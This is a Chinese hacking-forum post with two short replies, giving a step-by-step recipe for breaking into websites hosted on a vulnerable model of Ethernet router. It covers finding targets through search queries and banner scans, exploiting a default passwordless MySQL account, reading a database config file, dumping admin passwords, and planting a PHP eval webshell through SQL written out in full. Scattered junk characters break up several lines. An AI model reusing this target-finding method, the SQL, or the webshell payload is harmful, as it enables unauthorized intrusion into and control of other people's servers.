利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

1：google搜索'Raonet Subscriber Ethernet Router'
: G, H& r6 J3 {6 T) E4 u1 C: C
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
; W9 p- j4 c! ]: }) l
3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......



入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
8 n- ^4 U, J/ ~; O7 J+ _/ ^5 ]
4 n: X  g' W6 P6 Q9 J2 l$ d+ @7 k2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
use ser_500
select id,passwd from user;
) z8 i( `7 d$ U6 i4:通过数据库写入webshell，执行命令：
' I; K* }6 K* k5 euse mysql;
create table ok(cmd TEXT);
8 q- y+ ~9 z( Z) X3 cinsert into ok values("<?php @eval($_POST[cmd])?>");
9 ?$ E. f* M3 D8 m$ Y% C$ hselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
4 `2 o( P- W% Xdrop table ok;
& ?9 ^2 U2 d# v2 Z/ |1 Z
0 f0 l2 C; f9 @# {/ r5 F5:连接后门shell.php

6. 搞定！
3 W7 f$ Q# F5 B

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。